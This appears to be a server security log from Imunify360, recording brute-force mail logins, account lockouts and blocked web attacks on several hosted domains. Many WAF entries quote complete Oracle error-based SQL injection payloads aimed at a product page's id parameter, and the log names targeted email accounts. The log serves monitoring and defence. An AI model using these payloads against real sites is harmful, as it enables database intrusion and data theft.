Feb  2 06:01:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:01:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62274: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.168.82.76
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1%'and/**/10577=ctxsys.drithsx.sn(9946,chr(126)||'~'||(select/**/(case/**/when/**/(10577=10577)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)) and 'sn1dbxqj%'='sn1dbxqj||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:02:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57375: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:02:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:02:07 dovecot_login authenticator failed for H=(VqfQRrgE) [158.94.208.175]:61314: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:02:08 dovecot_login authenticator failed for H=(CWbWxwWDZi) [185.230.124.69]:63505: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-02 06:02:14 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:36292: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:02:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:02:05 dovecot_login authenticator failed for H=(jNHhLVec) [178.16.52.139]:56186: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:02:02 dovecot_login authenticator failed for H=(JOGo3CdrY) [77.83.39.253]:37372: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:02:17 dovecot_login authenticator failed for H=(Hwv7aWi) [69.5.189.21]:56626: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:02:21 dovecot_login authenticator failed for H=(SnxWxum44) [165.154.217.204]:64949: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 83.239.84.130
country_id: 2017370
description:
Feb  2 06:02:46 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account prayerlink has been temporarily locked by Imunify PAM(83.239.84.130)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.227.25.115
country_id: 6252001
description:
2026-02-02 06:02:51 dovecot_plain authenticator failed for H=c-98-227-25-115.hsd1.il.comcast.net (croco) [98.227.25.115]:53998: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.168.82.76
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1')And/**/2108=ctxSYS.DRITHsX.Sn(10516,CHr(126)||%27~%27||(sElect/**/(cAsE/**/WHEN/**/(2108=2108)/**/theN/**/1/**/ElsE/**/0/**/End)/**/fROm/**/DUal)||%27~%27||cHr(126)) AND ('RV4QgRVB' LIKE 'RV4QgRVB||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.144
country_id: 1819730
description:
2026-02-02 06:02:26 dovecot_login authenticator failed for H=(223-197-153-144.static.imsbiz.com) [223.197.153.144]:50522: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\"ANd/**/8043=CTXsyS.dRitHSx.sn(9768,CHr(126)||%27~%27||(sElect/**/(cAsE/**/wHeN/**/(8043=8043)/**/tHeN/**/1/**/elsE/**/0/**/eNd)/**/from/**/dUAL)||%27~%27||Chr(126)) AND \"NuBNgqnL\" LIKE \"NuBNgqnL\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/5924=CTXSYS.DRITHSX.SN(2338,CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(5924=5924)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))# XSwNIS7M HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:02:02 dovecot_login authenticator failed for H=(Wwa2Cid3) [165.154.217.204]:63484: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.148.10.166
country_id: 2750405
domain: vtgroupsb.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/.svn/wc.db||User:vtgroupsb||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/3124=ctxsys.drithsx.sn(6002,chr(126)||'~'||(select/**/(case/**/when/**/(3124=3124)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:03:14 dovecot_login authenticator failed for H=(j6jEYpV) [77.83.39.253]:53090: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:03:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53287: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:03:29 dovecot_login authenticator failed for H=(btnnIIfMVG) [178.16.52.139]:50924: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:03:49 dovecot_login authenticator failed for H=(tgq8Paj) [165.154.217.204]:62618: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1%'and/**/6931=dbms_utility.sqlid_to_sqlhash(chr(126)||%27~%27||(select/**/(case/**/when/**/(6931=6931)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)) and 'yxdpzwza%'='yxdpzwza||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:03:04 dovecot_login authenticator failed for H=(6W5Xoj) [185.230.124.69]:63028: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:03:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:03:11 dovecot_login authenticator failed for H=(wAasGzfRP) [165.154.217.204]:53098: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1%'aND/**/6931=dBms_utiLiTy.sqLiD_tO_sqlhasH(chR(126)||'~'||(Select/**/(CasE/**/whEn/**/(6931=6931)/**/tHEN/**/1/**/ElsE/**/0/**/enD)/**/FRoM/**/DuAl)||'~'||CHR(126)) AND 'YXDpZwZa%'='YXDpZwZa||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/2241=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(2241=2241)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:03:12 dovecot_login authenticator failed for H=(8BqhRFiE) [158.94.208.175]:53503: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 185.147.100.112
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/2080=dbms_utility.sqlid_to_sqlhash(chr(126)||%27~%27||(select/**/(case/**/when/**/(2080=2080)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)) and ('kb6d0bdh' like 'kb6d0bdh||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 185.147.100.112
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')ANd/**/2080=dBMs_uTiLITY.SqlID_to_sQlhash(chR(126)||'~'||(selEct/**/(CasE/**/wHEN/**/(2080=2080)/**/THEn/**/1/**/elSe/**/0/**/End)/**/fROM/**/DUAl)||'~'||Chr(126)) AND ('KB6D0BDH' LIKE 'KB6D0BDH||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:03:04 dovecot_login authenticator failed for H=(RyAcp3chJm) [69.5.189.21]:64197: 535 Incorrect authentication data (set_id=mustapa)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/2241=dbms_utility.sqlid_to_sqlhash(chr(126)||'~'||(select/**/(case/**/when/**/(2241=2241)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:03:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/9317=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(9317=9317)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))# 4FH6yQPv HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"))AND/**/3040=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3040=3040)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) AND ((\"UtvVC9uN\"=\"UtvVC9uN\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:04:08 dovecot_login authenticator failed for H=(BVVT8XF7Z1) [165.154.217.204]:64791: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:04:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62817: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:04:20 dovecot_login authenticator failed for H=(mlbQh52kMD) [185.230.124.69]:55184: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:04:18 dovecot_login authenticator failed for H=(vshOMFbjWV) [178.16.52.139]:63216: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:04:25 dovecot_login authenticator failed for H=(Vh6JOXK) [77.83.39.253]:59935: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:04:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"))and/**/3040=dbms_utility.sqlid_to_sqlhash(chr(126)||'~'||(select/**/(case/**/when/**/(3040=3040)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)) and ((\"utvvc9un\"=\"utvvc9un\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:04:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:04:08 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56574: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:04:14 dovecot_login authenticator failed for H=(C3PzY7) [69.5.189.21]:59685: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:04:28 dovecot_login authenticator failed for H=(BZcI8r) [158.94.208.175]:64910: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1') and and/**/3622=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(3622=3622)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/3267=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3267=3267)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:05:25 dovecot_login authenticator failed for H=(rJZWTRoY) [178.16.52.139]:56870: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.60.31.166
country_id: 2921044
description:
2026-02-02 06:05:58 dovecot_plain authenticator failed for H=(c10712.servers.ecomdata.de) [212.60.31.166]:62750: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/7235=dbms_utility.sqlid_to_sqlhash(chr(126)||'~'||(select/**/(case/**/when/**/(7235=7235)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:05:12 dovecot_login authenticator failed for H=(wCLPIG) [165.154.217.204]:50953: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:05:13 dovecot_login authenticator failed for H=(3W1SXrksi) [77.83.39.253]:40727: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-02-02 06:05:17 dovecot_login authenticator failed for H=(dps-comsec.com) [61.50.119.110]:39160: 535 Incorrect authentication data (set_id=nologin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:05:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:05:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:05:17 dovecot_login authenticator failed for H=(gWuXhFn) [185.230.124.69]:52982: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.0.163.2
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=21 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:05:37 dovecot_login authenticator failed for H=(qyyQRWTT) [158.94.208.175]:50431: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:05:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56246: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:05:05 dovecot_login authenticator failed for H=(oj6YeSvpR) [165.154.217.204]:50437: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/7235=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(7235=7235)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:05:24 dovecot_login authenticator failed for H=(IsDJK4rCkZ) [69.5.189.21]:56855: 535 Incorrect authentication data (set_id=mustapa)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 212.175.62.54
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/3228=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(3228=3228)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:06:43 dovecot_login authenticator failed for H=(7IiQ32FV) [165.154.217.204]:59584: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:06:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50802: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\"))AND/**/4188=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(4188=4188)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL)) AND ((\"a6cgXnpp\"=\"a6cgXnpp\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:06:10 dovecot_login authenticator failed for H=(WN1M2vno) [69.5.189.21]:64249: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:06:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50662: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:06:29 dovecot_login authenticator failed for H=(duZTyrLH5C) [178.16.52.139]:57867: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.60.31.166
country_id: 2921044
description:
2026-02-02 06:06:04 dovecot_login authenticator failed for H=(c10712.servers.ecomdata.de) [212.60.31.166]:62750: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:06:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:06:24 dovecot_login authenticator failed for H=(QlnBb4rCfP) [77.83.39.253]:47115: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:06:38 dovecot_login authenticator failed for H=(6XFZaj) [158.94.208.175]:59705: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"))and/**/6474=utl_inaddr.get_host_name((select/**/chr(126)||%27~%27||(select/**/(case/**/when/**/(6474=6474)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)/**/from/**/dual)) and ((\"naz3g8ok\"=\"naz3g8ok\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:06:08 dovecot_login authenticator failed for H=(Bd9Qocf) [165.154.217.204]:55437: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/10428=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(10428=10428)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL))# kxJg8N64 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 212.175.62.54
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/3228=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3228=3228)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 143.244.184.204
country_id: 6252001
description:
2026-02-02  6:06:54 271518 [Warning] Aborted connection 271518 to db: 'unconnected' user: 'unauthenticated' host: '143.244.184.204' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:06:14 dovecot_login authenticator failed for H=(w0Q83y3q) [185.230.124.69]:56689: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:06:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:07:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
